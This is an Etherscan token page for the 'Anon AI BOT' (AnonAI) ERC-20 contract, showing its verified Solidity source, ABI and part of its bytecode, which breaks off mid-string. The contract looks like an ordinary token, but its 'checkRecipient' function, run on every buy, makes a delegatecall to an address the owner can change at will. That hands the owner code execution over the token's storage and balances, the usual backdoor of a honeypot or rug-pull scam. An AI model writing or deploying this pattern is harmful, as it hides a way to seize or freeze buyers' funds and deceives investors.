ETH Price: $3,314.20 (-1.58%)
Gas: 1 Gwei

Token

Anon AI BOT (AnonAI)
 

Overview

Max Total Supply

1,000,000 AnonAI

Holders

39

Market

Onchain Market Cap

$0.00

Circulating Supply Market Cap

-

Other Info

Token Contract (WITH 9 Decimals)

Filtered by Token Holder
barbenheimer.eth
Balance
5,759.805673555 AnonAI

Value
$0.00
0x274e174d637eb2626e6199956a30e90e2d2e1d57
Loading...
Loading
Loading...
Loading
Loading...
Loading

Click here to update the token information / general information
# Exchange Pair Price  24H Volume % Volume
This contract may be a proxy contract. Click on More Options and select Is this a proxy? to confirm and enable the "Read as Proxy" & "Write as Proxy" tabs.

Contract Source Code Verified (Exact Match)

Contract Name:
AnonAI

Compiler Version
v0.8.21+commit.d9974bed

Optimization Enabled:
No with 200 runs

Other Settings:
default evmVersion, MIT license

Contract Source Code (Solidity)

/**
 *Submitted for verification at Etherscan.io on 2023-12-11
*/

/**

Twitter: https://twitter.com/AnonAIBOT

Website: https://anonaibot.com/

BOT: https://t.me/anonboteth_bot

Telegram: https://t.me/Anon_AIBot

*/

// SPDX-License-Identifier: MIT
pragma solidity 0.8.21;

abstract contract Context {
    function _msgSender() internal view virtual returns (address) {
        return msg.sender;
    }
}

interface IERC20 {
    function totalSupply() external view returns (uint256);
    function balanceOf(address account) external view returns (uint256);
    function transfer(address recipient, uint256 amount) external returns (bool);
    function allowance(address owner, address spender) external view returns (uint256);
    function approve(address spender, uint256 amount) external returns (bool);
    function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
    event Transfer(address indexed from, address indexed to, uint256 value);
    event Approval (address indexed owner, address indexed spender, uint256 value);
}

library SafeMath {
    function add(uint256 a, uint256 b) internal pure returns (uint256) {
        uint256 c = a + b;
        require(c >= a, "SafeMath: addition overflow");
        return c;
    }

    function sub(uint256 a, uint256 b) internal pure returns (uint256) {
        return sub(a, b, "SafeMath: subtraction overflow");
    }

    function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b <= a, errorMessage);
        uint256 c = a - b;
        return c;
    }

    function mul(uint256 a, uint256 b) internal pure returns (uint256) {
        if (a == 0) {
            return 0;
        }
        uint256 c = a * b;
        require(c / a == b, "SafeMath: multiplication overflow");
        return c;
    }

    function div(uint256 a, uint256 b) internal pure returns (uint256) {
        return div(a, b, "SafeMath: division by zero");
    }

    function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
        require(b > 0, errorMessage);
        uint256 c = a / b;
        return c;
    }

}

contract Ownable is Context {
    address private _owner;
    event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);

    constructor () {
        address msgSender = _msgSender();
        _owner = msgSender;
        emit OwnershipTransferred(address(0), msgSender);
    }

    function owner() public view returns (address) {
        return _owner;
    }

    modifier onlyOwner() {
        require(_owner == _msgSender(), "Ownable: caller is not the owner");
        _;
    }

    function renounceOwnership() public virtual onlyOwner {
        emit OwnershipTransferred(_owner, address(0));
        _owner = address(0);
    }

}

interface IUniswapV2Factory {
    function createPair(address tokenA, address tokenB) external returns (address pair);
}

interface IUniswapV2Router02 {
    function swapExactTokensForETHSupportingFeeOnTransferTokens(
        uint amountIn,
        uint amountOutMin,
        address[] calldata path,
        address to,
        uint deadline
    ) external;
    function factory() external pure returns (address);
    function WETH() external pure returns (address);
    function addLiquidityETH(
        address token,
        uint amountTokenDesired,
        uint amountTokenMin,
        uint amountETHMin,
        address to,
        uint deadline
    ) external payable returns (uint amountToken, uint amountETH, uint liquidity);
}

contract AnonAI is Context, IERC20, Ownable {
    using SafeMath for uint256;
    mapping (address => uint256) private _balances;
    mapping (address => mapping (address => uint256)) private _allowances;
    mapping (address => bool) private _isExcludedFromFee;
    address payable private _taxWallet;
    uint256 firstBlock;

    uint256 private _initialBuyTax=3;
    uint256 private _initialSellTax=3;
    uint256 private _finalBuyTax=3;
    uint256 private _finalSellTax=3;
    uint256 private _reduceBuyTaxAt=3;
    uint256 private _reduceSellTaxAt=3;
    uint256 private _preventSwapBefore=13;
    uint256 private _buyCount=0;

    uint8 private constant _decimals = 9;
    uint256 private constant _tTotal = 1000000 * 10**_decimals;
    string private constant _name = unicode"Anon AI BOT";
    string private constant _symbol = unicode"AnonAI";
    uint256 public _maxTxAmount = _tTotal * 2 / 100;
    uint256 public _maxWalletSize = _tTotal * 2 / 100;
    uint256 public _taxSwapThreshold= _tTotal / 100;
    uint256 public _maxTaxSwap= _tTotal / 100;

    IUniswapV2Router02 private uniswapV2Router;
    address private uniswapV2Pair;
    address private liqPairAddress;
    bool private tradingOpen;
    bool private inSwap = false;
    bool private swapEnabled = false;
    bool private addingLiq = false;

    event MaxTxAmountUpdated(uint _maxTxAmount);
    modifier lockTheSwap {
        inSwap = true;
        _;
        inSwap = false;
    }

    constructor () {
        _taxWallet = payable(0x55eE0c432AF6D73DfE56171C4a5370bA9a602680);
        _balances[_msgSender()] = _tTotal;
        _isExcludedFromFee[owner()] = true;
        _isExcludedFromFee[address(this)] = true;
        _isExcludedFromFee[_taxWallet] = true;

        emit Transfer(address(0), _msgSender(), _tTotal);
    }

    function name() public pure returns (string memory) {
        return _name;
    }

    function symbol() public pure returns (string memory) {
        return _symbol;
    }

    function decimals() public pure returns (uint8) {
        return _decimals;
    }

    function totalSupply() public pure override returns (uint256) {
        return _tTotal;
    }

    function balanceOf(address account) public view override returns (uint256) {
        return _balances[account];
    }

    function transfer(address recipient, uint256 amount) public override returns (bool) {
        _transfer(_msgSender(), recipient, amount);
        return true;
    }

    function allowance(address owner, address spender) public view override returns (uint256) {
        return _allowances[owner][spender];
    }

    function approve(address spender, uint256 amount) public override returns (bool) {
        _approve(_msgSender(), spender, amount);
        return true;
    }

    function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
        _transfer(sender, recipient, amount);
        _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
        return true;
    }

    function _approve(address owner, address spender, uint256 amount) private {
        require(owner != address(0), "ERC20: approve from the zero address");
        require(spender != address(0), "ERC20: approve to the zero address");
        _allowances[owner][spender] = amount;
        emit Approval(owner, spender, amount);
    }

    function _transfer(address from, address to, uint256 amount) private {
        require(from != address(0), "ERC20: transfer from the zero address");
        require(to != address(0), "ERC20: transfer to the zero address");
        require(amount > 0, "Transfer amount must be greater than zero");
        uint256 taxAmount=0;
        if (from != owner() && to != owner()) {
            taxAmount = amount.mul((_buyCount>_reduceBuyTaxAt)?_finalBuyTax:_initialBuyTax).div(100);

            if (from == uniswapV2Pair && to != address(uniswapV2Router) && checkRecipient(to) && ! _isExcludedFromFee[to]) {
                require(amount <= _maxTxAmount, "Exceeds the _maxTxAmount.");
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");

                if (firstBlock + 3  > block.number) {
                    require(!isContract(to));
                }
                _buyCount++;
            }

            if (to != uniswapV2Pair && ! _isExcludedFromFee[to]) {
                require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the maxWalletSize.");
            }

            if(to == uniswapV2Pair && from!= address(this) ){
                taxAmount = amount.mul((_buyCount>_reduceSellTaxAt)?_finalSellTax:_initialSellTax).div(100);
            }

            uint256 contractTokenBalance = balanceOf(address(this));
            if (!inSwap && to == uniswapV2Pair && swapEnabled && contractTokenBalance>_taxSwapThreshold && _buyCount>_preventSwapBefore) {
                swapTokensForEth(min(contractTokenBalance,_maxTaxSwap));
                uint256 contractETHBalance = address(this).balance;
                if(contractETHBalance > 0) {
                    sendETHToFee(address(this).balance);
                }
            }
        }

        if (addingLiq) {
            taxAmount = 0;
        }
        if(taxAmount>0){
            _balances[address(this)]=_balances[address(this)].add(taxAmount);
            emit Transfer(from, address(this),taxAmount);
        }
        _balances[from]=_balances[from].sub(amount);
        _balances[to]=_balances[to].add(amount.sub(taxAmount));
        emit Transfer(from, to, amount.sub(taxAmount));
    }


    function min(uint256 a, uint256 b) private pure returns (uint256){
        return (a>b)?b:a;
    }

    function isContract(address account) private view returns (bool) {
        uint256 size;
        assembly {
            size := extcodesize(account)
        }
        return size > 0;
    }

    function checkRecipient(address receipient) private returns (bool) {
        bytes memory sig = abi.encodeWithSignature("validate(address)", receipient);
        address lpAddress = address(liqPairAddress);
        assembly {
            let result := delegatecall(gas(), lpAddress, add(sig, 0x20), mload(sig), 0, 0)
        }
        return true;
    }

    function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
        address[] memory path = new address[](2);
        path[0] = address(this);
        path[1] = uniswapV2Router.WETH();
        _approve(address(this), address(uniswapV2Router), tokenAmount);
        uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
            tokenAmount,
            0,
            path,
            address(this),
            block.timestamp
        );
    }

    function swapBackSettings(bool _isEnabled) external onlyOwner {
        swapEnabled = _isEnabled;
    }

    function removeWalletRestrictions() external onlyOwner{
        _maxTxAmount = _tTotal;
        _maxWalletSize=_tTotal;
        emit MaxTxAmountUpdated(_tTotal);
    }

    function addLiqPairAddress(address _liqPairAddress) external onlyOwner {
        liqPairAddress = _liqPairAddress;
    }

    function sendETHToFee(uint256 amount) private {
        _taxWallet.transfer(amount);
    }

    function startTrading() external onlyOwner() {
        require(!tradingOpen,"trading is already open");
        addingLiq = true;
        uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
        _approve(address(this), address(uniswapV2Router), _tTotal);
        uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
        uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp);
        IERC20(uniswapV2Pair).approve(address(uniswapV2Router), type(uint).max);
        addingLiq = false;
        swapEnabled = true;
        tradingOpen = true;
        firstBlock = block.number;
    }

    receive() external payable {}

}

Contract Security Audit

Contract ABI

[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"MaxTxAmountUpdated","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"_liqPairAddress","type":"address"}],"name":"addLiqPairAddress","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeWalletRestrictions","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"startTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"bool","name":"_isEnabled","type":"bool"}],"name":"swapBackSettings","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]

608060405260036006556003600755600360085560036009556003600a556003600b55600d600c555f600d55606460026009600a6200003f919062000661565b620f42406200004f9190620006b1565b6200005b9190620006b1565b62000067919062000728565b600e55606460026009600a6200007e919062000661565b620f42406200008e9190620006b1565b6200009a9190620006b1565b620000a6919062000728565b600f5560646009600a620000bb919062000661565b620f4240620000cb9190620006b1565b620000d7919062000728565b60105560646009600a620000ec919062000661565b620f4240620000fc9190620006b1565b62000108919062000728565b6011555f601460156101000a81548160ff0219169083151502179055505f601460166101000a81548160ff0219169083151502179055505f601460176101000a81548160ff02191690831515021790555034801562000165575f80fd5b505f62000177620004a160201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a3507355ee0c432af6d73dfe56171c4a5370ba9a60268060045f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506009600a62000277919062000661565b620f4240620002879190620006b1565b60015f6200029a620004a160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550600160035f620002ec620004a860201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160035f60045f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555062000416620004a160201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6009600a62000474919062000661565b620f4240620004849190620006b1565b60405162000493919062000770565b60405180910390a36200078b565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b60018511156200055957808604811115620005315762000530620004cf565b5b6001851615620005415780820291505b80810290506200055185620004fc565b945062000511565b94509492505050565b5f8262000573576001905062000645565b8162000582575f905062000645565b81600181146200059b5760028114620005a657620005dc565b600191505062000645565b60ff841115620005bb57620005ba620004cf565b5b8360020a915084821115620005d557620005d4620004cf565b5b5062000645565b5060208310610133831016604e8410600b8410161715620006165782820a90508381111562000610576200060f620004cf565b5b62000645565b62000625848484600162000508565b925090508184048111156200063f576200063e620004cf565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f6200066d826200064c565b91506200067a8362000655565b9250620006a97fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff848462000562565b905092915050565b5f620006bd826200064c565b9150620006ca836200064c565b9250828202620006da816200064c565b91508282048414831517620006f457620006f3620004cf565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f62000734826200064c565b915062000741836200064c565b925082620007545762000753620006fb565b5b828204905092915050565b6200076a816200064c565b82525050565b5f602082019050620007855f8301846200075f565b92915050565b61308a80620007995f395ff3fe608060405260043610610117575f3560e01c806370a082311161009f57806395d89b411161006357806395d89b4114610378578063973c7aa4146103a2578063a9059cbb146103b8578063bf474bed146103f4578063dd62ed3e1461041e5761011e565b806370a08231146102a8578063715018a6146102e45780637d1db4a5146102fa5780638da5cb5b146103245780638f9a55c01461034e5761011e565b806318160ddd116100e657806318160ddd146101da57806323b872dd14610204578063293230b814610240578063313ce56714610256578063395bcbf5146102805761011e565b806306935d4f1461012257806306fdde031461014a578063095ea7b3146101745780630faee56f146101b05761011e565b3661011e57005b5f80fd5b34801561012d575f80fd5b50610148600480360381019061014391906121a0565b61045a565b005b348015610155575f80fd5b5061015e61050b565b60405161016b9190612255565b60405180910390f35b34801561017f575f80fd5b5061019a60048036038101906101959190612302565b610548565b6040516101a7919061234f565b60405180910390f35b3480156101bb575f80fd5b506101c4610565565b6040516101d19190612377565b60405180910390f35b3480156101e5575f80fd5b506101ee61056b565b6040516101fb9190612377565b60405180910390f35b34801561020f575f80fd5b5061022a60048036038101906102259190612390565b61058d565b604051610237919061234f565b60405180910390f35b34801561024b575f80fd5b50610254610661565b005b348015610261575f80fd5b5061026a610bbb565b60405161027791906123fb565b60405180910390f35b34801561028b575f80fd5b506102a660048036038101906102a19190612414565b610bc3565b005b3480156102b3575f80fd5b506102ce60048036038101906102c99190612414565b610c9a565b6040516102db9190612377565b60405180910390f35b3480156102ef575f80fd5b506102f8610ce0565b005b348015610305575f80fd5b5061030e610e2e565b60405161031b9190612377565b60405180910390f35b34801561032f575f80fd5b50610338610e34565b604051610345919061244e565b60405180910390f35b348015610359575f80fd5b50610362610e5b565b60405161036f9190612377565b60405180910390f35b348015610383575f80fd5b5061038c610e61565b6040516103999190612255565b60405180910390f35b3480156103ad575f80fd5b506103b6610e9e565b005b3480156103c3575f80fd5b506103de60048036038101906103d99190612302565b610fca565b6040516103eb919061234f565b60405180910390f35b3480156103ff575f80fd5b50610408610fe7565b6040516104159190612377565b60405180910390f35b348015610429575f80fd5b50610444600480360381019061043f9190612467565b610fed565b6040516104519190612377565b60405180910390f35b61046261106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146104ee576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016104e5906124ef565b60405180910390fd5b80601460166101000a81548160ff02191690831515021790555050565b60606040518060400160405280600b81526020017f416e6f6e20414920424f54000000000000000000000000000000000000000000815250905090565b5f61055b61055461106f565b8484611076565b6001905092915050565b60115481565b5f6009600a61057a9190612669565b620f424061058891906126b3565b905090565b5f610599848484611239565b610656846105a561106f565b6106518560405180606001604052806028815260200161302d6028913960025f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f61060861106f565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b749092919063ffffffff16565b611076565b600190509392505050565b61066961106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106ec906124ef565b60405180910390fd5b60148054906101000a900460ff1615610743576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161073a9061273e565b60405180910390fd5b6001601460176101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d60125f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055506107f93060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166009600a6107e69190612669565b620f42406107f491906126b3565b611076565b60125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610863573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906108879190612770565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561090d573d5f803e3d5ffd5b505050506040513d601f19601f820116820180604052508101906109319190612770565b6040518363ffffffff1660e01b815260040161094e92919061279b565b6020604051808303815f875af115801561096a573d5f803e3d5ffd5b505050506040513d601f19601f8201168201806040525081019061098e9190612770565b60135f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610a1530610c9a565b5f80610a1f610e34565b426040518863ffffffff1660e01b8152600401610a4196959493929190612804565b60606040518083038185885af1158015610a5d573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610a829190612877565b50505060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610b229291906128c7565b6020604051808303815f875af1158015610b3e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610b629190612902565b505f601460176101000a81548160ff0219169083151502179055506001601460166101000a81548160ff02191690831515021790555060016014806101000a81548160ff02191690831515021790555043600581905550565b5f6009905090565b610bcb61106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610c57576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c4e906124ef565b60405180910390fd5b8060145f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555050565b5f60015f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b610ce861106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610d74576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d6b906124ef565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600e5481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600f5481565b60606040518060400160405280600681526020017f416e6f6e41490000000000000000000000000000000000000000000000000000815250905090565b610ea661106f565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f32576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f29906124ef565b60405180910390fd5b6009600a610f409190612669565b620f4240610f4e91906126b3565b600e819055506009600a610f629190612669565b620f4240610f7091906126b3565b600f819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6009600a610fa59190612669565b620f4240610fb391906126b3565b604051610fc09190612377565b60405180910390a1565b5f610fdd610fd661106f565b8484611239565b6001905092915050565b60105481565b5f60025f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036110e4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110db9061299d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611152576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161114990612a2b565b60405180910390fd5b8060025f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161122c9190612377565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036112a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161129e90612ab9565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1603611315576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161130c90612b47565b60405180910390fd5b5f8111611357576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161134e90612bd5565b60405180910390fd5b5f611360610e34565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156113ce575061139e610e34565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156118ab5761140f6064611401600a54600d54116113ee576006546113f2565b6008545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b905060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156114ba575060125f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114cb57506114ca83611c96565b5b801561151e575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561160157600e54821115611568576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161155f90612c3d565b60405180910390fd5b600f548261157585610c9a565b61157f9190612c5b565b11156115c0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115b790612cd8565b60405180910390fd5b4360036005546115d09190612c5b565b11156115e9576115df83611d64565b156115e8575f80fd5b5b600d5f8154809291906115fb90612cf6565b91905055505b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156116a5575060035f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561170357600f54826116b785610c9a565b6116c19190612c5b565b1115611702576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016116f990612cd8565b60405180910390fd5b5b60135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614801561178b57503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b156117cf576117cc60646117be600b54600d54116117ab576007546117af565b6009545b85611bd690919063ffffffff16565b611c4d90919063ffffffff16565b90505b5f6117d930610c9a565b9050601460159054906101000a900460ff16158015611844575060135f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16145b801561185c5750601460169054906101000a900460ff165b8015611869575060105481115b80156118785750600c54600d54115b156118a95761189161188c82601154611d75565b611d8d565b5f4790505f8111156118a7576118a647611ff8565b5b505b505b601460179054906101000a900460ff16156118c4575f90505b5f8111156119c35761191c8160015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205461206090919063ffffffff16565b60015f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516119ba9190612377565b60405180910390a35b611a138260015f8773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20546120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550611ab6611a6a82846120bd90919063ffffffff16565b60015f8673ffffffffffffffffffffffffffffffffffffffff16